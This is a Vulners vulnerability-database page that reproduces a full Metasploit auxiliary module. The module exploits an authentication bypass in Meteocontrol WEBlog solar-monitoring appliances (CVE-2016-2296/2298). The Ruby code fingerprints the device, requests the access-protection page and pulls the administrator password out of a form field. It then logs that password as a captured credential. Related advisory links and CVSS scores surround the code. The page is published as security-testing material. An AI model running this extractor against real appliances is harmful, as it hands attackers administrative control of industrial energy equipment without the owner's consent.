Lucene search
+L

Meteocontrol WEBlog Password Extractor

🗓️ 06 Jan 2017 09:50:41Reported by Karn Ganeshen <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

Meteocontrol WEBlog Password Extractor module exploits authentication bypass vulnerability in Meteocontrol WEBLog appliances to extract Administrator password for device management portal

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Meteocontrol WEB’log - Admin Password Disclosure (Metasploit)
17 May 201600:00
zdt
Circl
CVE-2016-2296
29 May 201815:50
circl
Circl
CVE-2016-2298
29 May 201815:50
circl
CNVD
Meteocontrol WEB'log Information Disclosure Vulnerability (CNVD-2016-03190)
15 May 201600:00
cnvd
CNVD
Meteocontrol WEB'log Information Disclosure Vulnerability
15 May 201600:00
cnvd
CVE
CVE-2016-2296
14 May 201616:00
cve
CVE
CVE-2016-2298
14 May 201616:00
cve
Cvelist
CVE-2016-2296
14 May 201616:00
cvelist
Cvelist
CVE-2016-2298
14 May 201616:00
cvelist
Exploit DB
Meteocontrol WEB’log - Admin Password Disclosure (Metasploit)
17 May 201600:00
exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Meteocontrol WEBlog Password Extractor',
      'Description' => %{
          This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
      },
      'References' =>
        [
          ['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-16-133-01'],
          ['CVE', '2016-2296'],
          ['CVE', '2016-2298']
        ],
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'License' => MSF_LICENSE))

    register_options(
      [
        Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
      ], self.class
    )
  end

  def run_host(ip)
    unless is_app_metweblog?
      return
    end

    do_extract
  end

  #
  # Check if App is Meteocontrol WEBlog
  #

  def is_app_metweblog?
    begin
      res = send_request_cgi({
        'uri' => '/html/en/index.html',
        'method' => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
      return true
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
      return false
    end
  end

  #
  # Extract Administrator Password
  #

  def do_extract()
    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
    begin
      res = send_request_cgi({
          'uri' => '/html/en/confAccessProt.html',
          'method' => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return
    end

    if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
      get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
      if get_admin_password[1]
        admin_password = get_admin_password[1]
        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
        report_cred(
          ip: rhost,
          port: rport,
          service_name: 'Meteocontrol WEBlog Management Portal',
          password: admin_password,
          proof: res.body
        )
      else
        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
        print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
      end
    else
      print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
7.4High risk
Vulners AI Score7.4
CVSS 210
CVSS 39.8
EPSS0.6437
39